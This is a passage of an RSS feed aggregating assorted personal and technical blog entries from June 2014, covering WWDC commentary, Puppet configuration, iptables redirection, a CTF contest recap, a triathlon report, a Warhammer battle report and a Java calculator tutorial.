privacy or even the notion that giving Apple so many hooks into one&amp;#8217;s personal life could, at some point, become a concern.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/peeping-tim.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 06 Jun 2014 10:08:22 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/peeping-tim.html</guid></item><item><title>Securely managing secrets for FreeIPA with Puppet</title><link>https://purpleidea.com/blog/2014/06/06/securely-managing-secrets-for-freeipa-with-puppet/</link><description>&lt;p&gt;Configuration management is an essential part of securing your infrastructure because it can make sure that it is set up correctly. It is essential that configuration management only enhance security, and not weaken it. Unfortunately, the status-quo of secret management in puppet is pretty poor.&lt;/p&gt;
&lt;p&gt;In the worst (and most common) case, plain text passwords are found in manifests. If the module author tried harder, sometimes these password strings are pre-hashed (and sometimes salted) and fed directly into the consumer. (This isn&amp;rsquo;t always possible without modifying the software you&amp;rsquo;re managing.)&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Fri, 06 Jun 2014 09:12:19 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/06/06/securely-managing-secrets-for-freeipa-with-puppet/</guid></item><item><title>Oculus</title><link>https://olshansky.info/movie/oculus/</link><description>Olshansky's review of Oculus</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 06 Jun 2014 08:51:51 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/oculus/</guid></item><item><title>Gastropoda - racing progress</title><link>https://liza.io/gastropoda-racing-progress/</link><description>&lt;p&gt;The snail simulation is coming along. Tonight I did some work on racing. The racing formula isn&amp;rsquo;t anywhere close to final yet, but races do run. Here&amp;rsquo;s how it works right now:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Fri, 06 Jun 2014 00:09:14 GMT</pubDate><guid isPermaLink="true">https://liza.io/gastropoda-racing-progress/</guid></item><item><title>The magic of WWDC</title><link>http://sansink.org/the-magic-of-wwdc/</link><description>&lt;p&gt;As I catch up on missed articles, I came across this noteworthy one from Adam Haworth&amp;#8217;s &lt;a href="https://zacs.site/blog/change-is-inevitable.html"&gt;previously-mentioned&lt;/a&gt; Sansink, where he talks about fanboyism and WWDC. Worth reading, I believe, especially in the wake of Monday&amp;#8217;s spectacular keynote address, because I think his point of view mirrors that of all but the relatively small sect who get genuinely enthused around this time each year: for most of the computer-using world, WWDC is an over-hyped and ultimately disappointing event specifically for overzealous hipsters with too much time and money on their hands. In light of the nature and magnitude of Apple&amp;#8217;s latest announcements, however, I would be curious to know whether he&amp;#160;&amp;#8212;&amp;#160;and all those who hold this and similar opinions&amp;#160;&amp;#8212;&amp;#160;now feel at all different, for what we saw on that Monday afternoon truly was groundbreaking, and I firmly believe that one does not have to be an Apple fanboy&amp;#160;&amp;#8212;&amp;#160;or even involved in the ecosystem, for that matter&amp;#160;&amp;#8212;&amp;#160;to appreciate these impressive announcements; WWDC truly was worth the excitement. It may only be technology, but it will absolutely change the world.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://sansink.org/the-magic-of-wwdc/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 05 Jun 2014 21:44:41 GMT</pubDate><guid isPermaLink="true">http://sansink.org/the-magic-of-wwdc/</guid></item><item><title>An election fought by schoolchildren</title><link>http://reverttosaved.com/2014/05/21/ukip-reminds-me-of-an-election-fought-by-schoolchildren-literally/</link><description>&lt;p&gt;Stories like this one from Craig Grannell remind me why I have been so reticent to enter the political landscape in any meaningful capacity up until now, a hesitancy &lt;a href="https://stratechery.com/2014/net-neutrality-wake-call/"&gt;I outlined when linking to Ben Thompson&amp;#8217;s recent piece&lt;/a&gt; in which he called for greater political involvement for those in the technical professions. Everyone promises peace and to bring the soldiers home, but that will never happen: wars will forever wage on, and someone will always need stopped. The key difference between Craig&amp;#8217;s story and reality, though, is not the tactics or actions of the system&amp;#8217;s participants, but rather the end result when they invariably and inevitably fail to fulfill their promises: whereas his classmates held him and his cohorts accountable on the schoolyard, modern-day citizens&amp;#160;&amp;#8212;&amp;#160;and Americans in particular, it seems&amp;#160;&amp;#8212;&amp;#160;have no interest in holding anyone accountable for the promises on which they renege.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://reverttosaved.com/2014/05/21/ukip-reminds-me-of-an-election-fought-by-schoolchildren-literally/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 05 Jun 2014 10:12:59 GMT</pubDate><guid isPermaLink="true">http://reverttosaved.com/2014/05/21/ukip-reminds-me-of-an-election-fought-by-schoolchildren-literally/</guid></item><item><title>Google Analytics download events using callbacks</title><link>https://rd.nz/2014/06/google-analytics-download-events-using.html</link><author>Rich Dougherty</author><pubDate>Thu, 05 Jun 2014 05:17:00 GMT</pubDate><guid isPermaLink="true">https://rd.nz/2014/06/google-analytics-download-events-using.html</guid></item><item><title>Do You Hear The People Sing?</title><link>http://evantravers.com/articles/2014/06/05/do-you-hear-the-people-sing/</link><description>&lt;p&gt;&lt;img alt="wedding" src="https://images.evantravers.com/articles/2014/06/wedding.jpg" /&gt;&lt;/p&gt;&lt;p&gt;I recently watched the most recent film version of Les Miserables for the first
time. It's a story I already love thanks to the book, but the screen version
was powerful on many levels. I wept out of pity, I cried out of anger, but no
storyline was more compelling than the beautiful tale of redemption at the end.
I cannot think of a more wonderful depiction of &amp;quot;well done, good and faithful
servant&amp;quot; in film. While I was tearful through the whole film, my heart was
truly touched (as I was in the book) to see Jean Valjean's utter relief and
glory in realizing that his sins are nullified and his soul is free to be free
from suffering and hate. As he breathed out his last moments… I was overcome
with joy that I too have my burden torn away and can enjoy life without the
oppression of my sins and misdeeds. Glorious.&lt;/p&gt;
&lt;p&gt;Lord Jesus, thank you for this single reminder, and thank you for drawing this
eternal hope to my mind in many ways this month. Weddings, the choruses of
favorite songs… (&amp;quot;we are not home yet!&amp;quot;) they have all pointed to the blessed
and never-ending dawn when you wipe away every tear, and we will &lt;em&gt;never&lt;/em&gt; again
know suffering, loneliness, or damnable temptation. Hallelujah!&lt;/p&gt;
&lt;p&gt;Continue to enthrall our souls with the joy that we are holding a guaranteed
ticket to the biggest party in history. In the light of that wedding feast, we
ought to be able to overlook any slight or suffering. Help us all to let go of
our petty and temporary fears and desires so that we can fully embrace this
hope, and in so doing spread joy to those around us. Stand near to us and bless
us, I pray in your precious and life-giving name, amen.&lt;/p&gt;</description><author>trv.rs</author><pubDate>Thu, 05 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/06/05/do-you-hear-the-people-sing/</guid></item><item><title>Soylent: How I Stopped Eating for 30 Days</title><link>http://www.youtube.com/watch?v=t8NCigh54jg</link><description>&lt;p&gt;Fascinating short documentary done by Motherboard on Soylent. Since it came out I have been a somewhat vocal proponent of this product, but remained so only in theory: through this site I readily recommended others try Soylent every time I wrote about it, but never actually gave it a shot myself. After seeing this, though, I have finally decided to bite the bullet and order some: I&amp;#8217;ll start with the original Soylent, and then, depending on how that goes, maybe even dabble in creating my own over at &lt;a href="http://diy.soylent.me"&gt;DIY.soylent.me&lt;/a&gt;. Either way though, I&amp;#8217;ll let you know how it goes.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.youtube.com/watch?v=t8NCigh54jg"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 05 Jun 2014 00:33:40 GMT</pubDate><guid isPermaLink="true">http://www.youtube.com/watch?v=t8NCigh54jg</guid></item><item><title>Tempering My Docker Enthusiasm (retracted)</title><link>https://www.brightball.com/articles/tempering-my-docker-enthusiasm-retracted</link><description>In a recent post I provided my initial impressions of Docker, which were glowing to put it mildly. After spending more time working with it, I've found that it does still have some additional drawbacks in certain situations just about every situation covered thanks to Vagrant.</description><author>Brightball Articles</author><pubDate>Wed, 04 Jun 2014 12:26:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/tempering-my-docker-enthusiasm-retracted</guid></item><item><title>Dear Minorities, Use Racism As Motivation For Achieving Financial Independence</title><link>http://www.financialsamurai.com/dear-minorities-use-racism-as-motivation-for-achieving-financial-independence/</link><description>&lt;p&gt;Yet another great article from Sam Dogen over at Financial Samurai. Although I have considered unsubscribing from his site a number of times lately, for it seems that overnight his posts went from the single most interesting writing I could find on the internet to the most boring, he really hit it out of the park with this one: simultaneously excellent, rage-inducing, and depressing all at once. Especially in these socially-charged times we live in today, I would highly recommend this piece to anyone regardless of whether they have any interest in furthering their financial prowess. And if you, like me, maintain interests in both these areas, I have no doubt that you will grow to appreciate Sam&amp;#8217;s work just as much as I do.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.financialsamurai.com/dear-minorities-use-racism-as-motivation-for-achieving-financial-independence/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 04 Jun 2014 10:19:32 GMT</pubDate><guid isPermaLink="true">http://www.financialsamurai.com/dear-minorities-use-racism-as-motivation-for-achieving-financial-independence/</guid></item><item><title>Hiera data in modules and OS independent puppet</title><link>https://purpleidea.com/blog/2014/06/04/hiera-data-in-modules-and-os-independent-puppet/</link><description>&lt;p&gt;Earlier this year, &lt;a href="https://github.com/ripienaar"&gt;R.I.Pienaar&lt;/a&gt; released his brilliant &lt;a href="https://github.com/ripienaar/puppet-module-data/"&gt;data in modules hack&lt;/a&gt;, a few months ago, I got the chance to start &lt;a href="https://github.com/purpleidea/puppet-gluster/commit/32fdb618625f011b7d7387428520441a91321e0e"&gt;implementing it in Puppet-Gluster&lt;/a&gt;, and today I have found the time to blog about it.&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;What is it&lt;/span&gt;?&lt;/p&gt;
&lt;p&gt;R.I.&amp;rsquo;s hack lets you store &lt;a href="https://github.com/puppetlabs/hiera"&gt;hiera&lt;/a&gt; data inside a puppet module. This can have many uses including letting you throw out the nested mess that is commonly &lt;code&gt;params.pp&lt;/code&gt;, and replace it with something file based that is elegant and hierarchical. For my use case, I&amp;rsquo;m using it to build OS independent puppet modules, without storing this data as code. The secondary win is that porting your module to a new GNU/Linux distribution or version could be as simple as adding a &lt;a href="https://en.wikipedia.org/wiki/YAML"&gt;YAML&lt;/a&gt; file.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Wed, 04 Jun 2014 06:47:23 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/06/04/hiera-data-in-modules-and-os-independent-puppet/</guid></item><item><title>The Machine</title><link>https://olshansky.info/movie/the_machine/</link><description>Olshansky's review of The Machine</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 04 Jun 2014 04:11:11 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_machine/</guid></item><item><title>10 Most Common Python Mistakes</title><link>https://nicolaiarocci.com/10-most-common-python-mistakes/</link><description>&lt;blockquote&gt;
&lt;p&gt;Python’s simple, easy-to-learn syntax can mislead Python developers – especially those who are newer to the language – into missing some of its subtleties and underestimating the power of the language.&lt;/p&gt;
&lt;p&gt;With that in mind, this article presents a “top 10” list of somewhat subtle, harder-to-catch mistakes that can bite even the most advanced Python developer in the rear.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://www.toptal.com/python/top-10-mistakes-that-python-programmers-make"&gt;10 Most Common Python Mistakes&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 04 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/10-most-common-python-mistakes/</guid></item><item><title>A cycling adventure</title><link>https://liza.io/a-cycling-adventure/</link><description>&lt;p&gt;On Sunday we went on a day-long bike ride to Lake Mälaren. We didn&amp;rsquo;t get as far as we&amp;rsquo;d planned, but it was still a great day.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 03 Jun 2014 23:06:25 GMT</pubDate><guid isPermaLink="true">https://liza.io/a-cycling-adventure/</guid></item><item><title>Change is inevitable</title><link>http://sansink.org/change-is-inevitable/</link><description>&lt;p&gt;I subscribed to Adam Haworth&amp;#8217;s site on a lark, and thus far doing so has proven a remarkably prescient decision. If you&amp;#8217;re looking for another great site to start following, start with this piece on change and thank me later.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://sansink.org/change-is-inevitable/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 03 Jun 2014 21:33:11 GMT</pubDate><guid isPermaLink="true">http://sansink.org/change-is-inevitable/</guid></item><item><title>Redirecting with iptables</title><link>https://joshuarogers.net/articles/2014-06/redirecting-iptables/</link><description>In the last few posts we've gone over how to build and secure a reverse proxy. While this is a great option if you want to add extra access controls, rewrite urls, or hide multiple servers behind an IP, sometimes it is just a bit of overkill. Sometimes all that is needed is to change the port that a service listens on.
Let's take Atlassian Confluence for example. By default it serves up pages on port 8090.</description><author>Joshua Rogers</author><pubDate>Tue, 03 Jun 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-06/redirecting-iptables/</guid></item><item><title>The Wolf of Wall Street (The Wolf of Wall Street, #1)</title><link>https://apurva-shukla.me/bookshelf/the-wolf-of-wall-street/</link><description>⭐ ⭐ ⭐ ⭐ Amazing book.. About the consequences of money and fame as well as the rising and downfall of a very smart man.</description><author>Apurva Shukla's RSS Feed</author><pubDate>Tue, 03 Jun 2014 11:18:28 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-wolf-of-wall-street/</guid></item><item><title>Deloitte CCTC Wave III</title><link>https://captnemo.in/blog/2014/06/03/cctc-wave-3/</link><description>&lt;p&gt;I was winner of the Deloitte CCTC Wave I, and a finalist for the Wave II.
It was natural I was participating this year as well. While the first year
involved a simple penetration test as the first round, and it was an abstract
submission in Wave II; this time it was a closed jeopardy-style CTF contest
between different teams from various colleges.&lt;/p&gt;

&lt;p&gt;There were altogether more than 30 teams participating in the CTF. I was lucky
to have teammates like &lt;a href="http://abhishekdas.com/"&gt;Abhishek Das&lt;/a&gt;(CCTC Wave II Winner) and &lt;a href="http://rkravi.com/"&gt;Ravi Kishore&lt;/a&gt;
who endured through several challenges when I gave up.&lt;/p&gt;

&lt;p&gt;We’ve published all challenges over on &lt;a href="https://github.com/captn3m0/cctc3-solutions"&gt;GitHub&lt;/a&gt; along with writeups and problems
being made available wherever we can.&lt;/p&gt;

&lt;p&gt;The challenges ranged from very easy to difficult to absurd trivia. We topped
the round with the most number of points across the board, making sure we got
the +30 bonus for solving first on all but 2 challenges out of 13.&lt;/p&gt;

&lt;p&gt;We’ll be leaving for Hyderabad for the finals in the first week of April. Wish us
luck, will you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: We won the final event at Hyderabad as well. More details (and a pic) on our blog post on SDSLabs &lt;a href="https://blog.sdslabs.co/2014/05/deloitte-cctc"&gt;here&lt;/a&gt;.&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Tue, 03 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/06/03/cctc-wave-3/</guid></item><item><title>The Net Neutrality Wake-up Call</title><link>http://stratechery.com/2014/net-neutrality-wake-call/</link><description>&lt;p&gt;Thought-provoking piece by Ben Thompson wherein he explains the importance of those within the technical professions getting involved  in the morass that is politics. In the past I have taken zero interest in this whatsoever: despite turning eighteen just before the last presidential election, I did not vote; I have yet to even register. But Ben makes a strong case for greater involvement, and one that I feel will, ultimately, prove not only the best course of action, but the only viable one for a bright future.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/net-neutrality-wake-call/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 02 Jun 2014 20:39:12 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/net-neutrality-wake-call/</guid></item><item><title>Delivery Man</title><link>https://olshansky.info/movie/delivery_man/</link><description>Olshansky's review of Delivery Man</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 02 Jun 2014 19:33:17 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/delivery_man/</guid></item><item><title>Cheshire Triathlon 2014</title><link>https://caiustheory.com/cheshire-triathlon-2014/</link><description>&lt;p&gt;Successfully completed my second Sprint Triathlon of the season in Nantwich.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;500m Swim - 00:10:49&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Felt good swimming this. Mixed up my usual breaststroke with some front crawl to overtake and use my legs less towards the end. Think I need to put a shorter time down on paper next time though, was in with people who were swimming much slower than me. (Including one chap who was doing doggy paddle in the deep end and walking as soon as his feet touched bottom. Oh well!) Need to continue with front crawl practice, and aim to do next sprint tri entirely crawl.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transition 1 - 00:02:43&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Went well. Ran from pool to bike and felt OK. Kit on without any fuckups. Didn&amp;rsquo;t fall off getting on bike. Winning. Need to practice getting on my bike in shoes at a run though.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;20km Bike - 00:42:31&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;10 minutes quicker than same length course last year. (Although a slightly new route this year.) Lost a minute when my water bottle fell out about 12km in though. Barely saw a soul, got stuck at one pedestrian crossing on red. Felt very good on the bike (and finally beat Liam on the same route &amp;amp; day ). Need to fit a tighter bottle carrier to stop the bottle falling out on bumpy roads.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transition 2 - 00:01:21&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Came off bike well and ran to shoes. Couldn&amp;rsquo;t find where I&amp;rsquo;d left them, was trying to find Liam&amp;rsquo;s bike as my marker for it, only someone else earlier in the same row had the same bike as him! Wasted 10 seconds looking probably. Need to remember where my stuff is more accurately in future.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5km Run - 00:39:03&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Boiling hot by the point I started running; didn&amp;rsquo;t feel great in the first few hundred meters and never really got comfortable after that. Walked about 800m of it in total at a guess, really didn&amp;rsquo;t have much left in my legs. Not convinced pushing less on the bike would&amp;rsquo;ve helped my run though. On the plus side, only 7 minutes slower than a training run a couple of weeks ago in similar heat, and this was on grass. Need to continue running at 5km distance, and train on grass as well as tarmac I think.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Total time - 01:36:27&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;8 minutes slower than York a couple of months ago, and felt &lt;em&gt;much&lt;/em&gt; worse on the run. Very happy with my bike &amp;amp; swim though. More run training required!&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Mon, 02 Jun 2014 13:00:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/cheshire-triathlon-2014/</guid></item><item><title>[5.22.14] 3 Phase Submersible Thruster</title><link>https://transistor-man.com/submersible_thruster.html</link><description>Build log of a submersible motor assembly</description><author>transistor-man.com</author><pubDate>Mon, 02 Jun 2014 11:38:38 GMT</pubDate><guid isPermaLink="true">https://transistor-man.com/submersible_thruster.html</guid></item><item><title>iOS 8 Wishlists</title><link>http://harshilshah1910.wordpress.com/2014/06/01/ios-8-wishlist/</link><description>&lt;p&gt;In preparation for Apple&amp;#8217;s WWDC keynote today, be sure to give Harshil Shah&amp;#8217;s article wherein he lays out his wishes for iOS 8 a try: although I&amp;#8217;m only about halfway through, in the interest of time I have decided to post it here anyway. He makes a lot of great points, and has some very interesting ideas for the future of Apple&amp;#8217;s mobile operating system. It just might take you until the beginning of the keynote to finish, but I highly recommend you check this piece out. And if you want to read even more about some iOS 8 expectations, I posted my own list a few weeks ago: &lt;a href="https://zacs.site/blog/looking-to-ios-8.html"&gt;Looking to iOS 8&lt;/a&gt;.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://harshilshah1910.wordpress.com/2014/06/01/ios-8-wishlist/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 02 Jun 2014 09:28:58 GMT</pubDate><guid isPermaLink="true">http://harshilshah1910.wordpress.com/2014/06/01/ios-8-wishlist/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-52614.html</link><description>&lt;p&gt;Almost exclusively old shows this week with but two outstanding exceptions. Turns out listening to back catalogs pays off; who would&amp;#8217;ve guessed?&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-52614.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 01 Jun 2014 23:16:54 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-52614.html</guid></item><item><title>The Salamanders take on Chaos Imperial Guard</title><link>https://benovermyer.com/blog/2014/06/the-salamanders-take-on-chaos-imperial-guard/</link><description>&lt;p&gt;This game took place on Thursday, May 29th at the Fantasy Flight Games Event Center in Roseville, MN. It was a 1500 point battle between my Third Company Salamanders Space Marines and Eric's Chaos Imperial Guard.&lt;/p&gt;
&lt;h1 id="the-salamanders"&gt;The Salamanders&lt;/h1&gt;
&lt;p&gt;I fielded four ten-man squads of Tactical Marines, a ten-man squad of Assault Marines, a Captain, and a three-man squad of Centurions. The Centurions were in a Land Raider Redeemer, one of the Tac squads was in a Rhino, and another was in a Drop Pod.&lt;/p&gt;
&lt;h1 id="the-chaos-imperial-guard"&gt;The Chaos Imperial Guard&lt;/h1&gt;
&lt;p&gt;Eric took two Basilisks, a Leman Russ with three plasma cannons, a psyker, three lascannon artillery units, and a ton of troops.&lt;/p&gt;
&lt;h1 id="the-battle"&gt;The Battle&lt;/h1&gt;
&lt;p&gt;This was our first 7th Edition game, and we tried out one of the new missions with Tactical Objectives. I deployed and went first, and we had the Night Fighting special rule in effect.&lt;/p&gt;
&lt;p&gt;Initially, I thought that that would save me from the Basilisks, but I was wrong.&lt;/p&gt;
&lt;h2 id="salamanders-turn-one"&gt;Salamanders Turn One&lt;/h2&gt;
&lt;p&gt;The Land Raider and Rhino roared across the battlefield, the Rhino taking the north end across a bridge and the Land Raider taking the south end through a sparse forest.&lt;/p&gt;
&lt;p&gt;The Captain laid claim to a ruined tower that had been shelled into oblivion by a previous battle. A mysterious objective there gave him a boost to his cover save, and with the cover save for being hidden in ruins, he was pretty safe from enemy artillery fire.&lt;/p&gt;
&lt;p&gt;The unit of Tactical Marines without transport and the Assault Marines started running across the battlefield. The Assault Marines darted in and out of the forest alongside the Land Raider, using the trees to mask their advance. The Tactical squad instead opted to charge directly at the Chaos front lines, hoping to put the fear of the Emperor in the traitorous Guard.&lt;/p&gt;
&lt;p&gt;The Land Raider took a shot at the Leman Russ with its Hunter-Killer missile, but the missile's guidance system failed and it went spiraling off into the darkness.&lt;/p&gt;
&lt;h2 id="chaos-imperial-guard-turn-one"&gt;Chaos Imperial Guard Turn One&lt;/h2&gt;
&lt;p&gt;Since the traitors had dug in with an Aegis line in one corner of the Imperial Guard deployment area, they had no interest in moving this turn. Instead, they opened up on the Salamanders advancing on their position. A storm of lasgun fire rained down on the Salamanders, but not a single Marine fell to the onslaught.&lt;/p&gt;
&lt;p&gt;Then, the Chaos artillery opened up. The lascannon crews dealt a glancing blow to the Land Raider, and the Basilisks had some difficulty in the darkness and couldn't quite hit their targets. Sadly, this was the last turn in which this was the case.&lt;/p&gt;
&lt;h2 id="salamanders-turn-two"&gt;Salamanders Turn Two&lt;/h2&gt;
&lt;p&gt;The Salamanders' Drop Pod full of Tactical Marines landed next to the enemy Aegis line, right between that and the Leman Russ. The Tactical squad disembarked and prepared to wreak havoc.&lt;/p&gt;
&lt;p&gt;The Land Raider rumbled through a river and disgorged its Centurions on the opposing bank. The Assault Marines ran ahead of it, claiming an objective but just outside of assault range of the Leman Russ.&lt;/p&gt;
&lt;p&gt;The Tactical Squad out in the open fired at the Chaos defenders, hoping to thin their ranks. Unfortunately, only a handful died, the Aegis line protecting them from the majority of the bolter fire.&lt;/p&gt;
&lt;p&gt;The Rhino advanced further, getting within range of the Aegis line's north end. Sadly, this was to be its last turn in the service of the Emperor, and it did nothing useful.&lt;/p&gt;
&lt;p&gt;The Centurions attempted to destroy the Leman Russ with their lascannons and krak missiles, but their shots glanced off the tank's heavy ceramite plating, doing no damage.&lt;/p&gt;
&lt;p&gt;The Tactical squad that had disembarked from the Drop Pod launched an offensive against the nearest Imperial Guard, but sadly failed in their strike and wasn't able to assault.&lt;/p&gt;
&lt;p&gt;Meanwhile, back in the ruins, the Salamanders Captain watched his battle-brothers through the darkened windows. A feeling of dread creeped over him.&lt;/p&gt;
&lt;h2 id="chaos-imperial-guard-turn-two"&gt;Chaos Imperial Guard Turn Two&lt;/h2&gt;
&lt;p&gt;The Leman Russ opened fire on the Assault Marines closing on its position, and together with lascannon fire from the artillery crews north of it, wiped out the entire squad.&lt;/p&gt;
&lt;p&gt;The Basilisks fired a barrage at the Tactical Marines out in the open, and erased that squad, too.&lt;/p&gt;
&lt;p&gt;Several squads of Imperial Guard hiding behind the Aegis line worked in concert, and their lasguns brought down all but one of the Tactical Marines bearing down on them from the Drop Pod.&lt;/p&gt;
&lt;p&gt;Concentrated fire from the other Imperial Guard blew up the Rhino, scattering its passengers. Thankfully, none of them were injured in the blast.&lt;/p&gt;
&lt;p&gt;Lasgun fire tried to eliminate the Centurions, but to no effect. The gigantic Marines marched on with grim purpose.&lt;/p&gt;
&lt;h2 id="salamanders-turn-three"&gt;Salamanders Turn Three&lt;/h2&gt;
&lt;p&gt;The survivors of the Rhino's destruction opened fire on the Imperial Guard, hoping to get into melee combat and avoid the guns of the Basilisks. Bad luck meant they were just out of range, and though they dealt massive casualties to the traitors in front of them, they were squarely in the sights of the enemy.&lt;/p&gt;
&lt;p&gt;The last survivor of the squad from the Drop Pod bravely charged into the enemy. Sadly, his heroic assault only earned him a few more kills before he was slain.&lt;/p&gt;
&lt;p&gt;The Centurions attempted to destroy the Leman Russ again, and again failed to penetrate its armor. The Land Raider similarly tried and failed.&lt;/p&gt;
&lt;p&gt;The Drop Pod opened fire with its Deathwind missile launcher, but only caught a few unlucky Imperial Guard in the blast.&lt;/p&gt;
&lt;h2 id="chaos-imperial-guard-turn-three"&gt;Chaos Imperial Guard Turn Three&lt;/h2&gt;
&lt;p&gt;The lascannon artillery crews destroyed the Drop Pod, and troops began to pour out from behind the Aegis line to press their advantage.&lt;/p&gt;
&lt;p&gt;Heavy lasgun fire brought down the last remnants of the survivors from the Rhino.&lt;/p&gt;
&lt;p&gt;The Leman Russ traded shots with the Land Raider, finally scoring a hit and destroying one of the flamestorm cannons.&lt;/p&gt;
&lt;p&gt;The Basilisks had run out of targets and turned their guns on the Centurions, to no effect.&lt;/p&gt;
&lt;h2 id="salamanders-turn-four"&gt;Salamanders Turn Four&lt;/h2&gt;
&lt;p&gt;The Captain watching the battle from the ruins called his battle-brothers back, seeing no victory here this day. The Centurions climbed into the Land Raider and the Salamanders fled the field of battle.&lt;/p&gt;
&lt;p&gt;There had been many losses that day. Thankfully, the traitors were content to engage in Chaos-tainted debauchery celebrating their victory the following night, and the Salamanders were able to retrieve their fallen battle-brothers' gene-seed under the cover of darkness.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Victory:&lt;/strong&gt; Chaos Imperial Guard&lt;/p&gt;
&lt;h1 id="post-mortem"&gt;Post Mortem&lt;/h1&gt;
&lt;p&gt;The biggest tactical error I made was in not giving one of my Tactical Squads a transport. As a result, I effectively wasted 150 points as that squad was gunned down by Eric's Basilisks.&lt;/p&gt;
&lt;p&gt;The biggest strategic error I made, however, was in focusing on attacking the enemy rather than going for Tactical Objectives. Even if I had suffered severe losses, I should have been able to pull off a victory with the points from those. Because Eric was deployed only in one corner of the map, I could easily have claimed and held the majority of the objective points.&lt;/p&gt;
&lt;p&gt;The Basilisks and the plasma-toting Leman Russ were my most dangerous opponents. Eric's psyker was completely ineffective, never getting the powers he needed at the right times. Even his lascannon crews, while dangerous, presented no major threat. I couldn't punch through the Leman Russ's 14 strength armor, though, no matter how much fire I threw his way. The Basilisks never even got hit, and for that, I'm going to need a better weapon.&lt;/p&gt;
&lt;p&gt;So, lessons learned, at a heavy cost.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sun, 01 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/06/the-salamanders-take-on-chaos-imperial-guard/</guid></item><item><title>RPN Calc Part 7 – Refactoring Loops with Reduce</title><link>https://mschaef.com/ksm/rpncalc_07</link><description>&lt;p&gt;In the &lt;a href="/ksm/rpncalc_06"&gt;last installation&lt;/a&gt; of this series, we started using Java iterators to decompose the monolithic REPL (read-eval-print-loop) into modular compoments. This let us start decoupling the semantics of the REPL from the mechanisms that it uses to implement read, evaluate, and print. Unfortunately, the last version of rpncalc only modularized the command prompt itself: the ‘R’ in REPL. The evaluator and printer are still tightly bound to the main command loop. In this post I’ll use another kind of custom iterator to further decompose the main loop, breaking out the evaluator and leaving only the printer itself in the loop.&lt;/p&gt;&lt;p&gt;Going back to the original command loop from the stateobject version of rpncalc, the loop traverses two sequences of values in parallel.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;state = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;State&lt;/span&gt;();
 
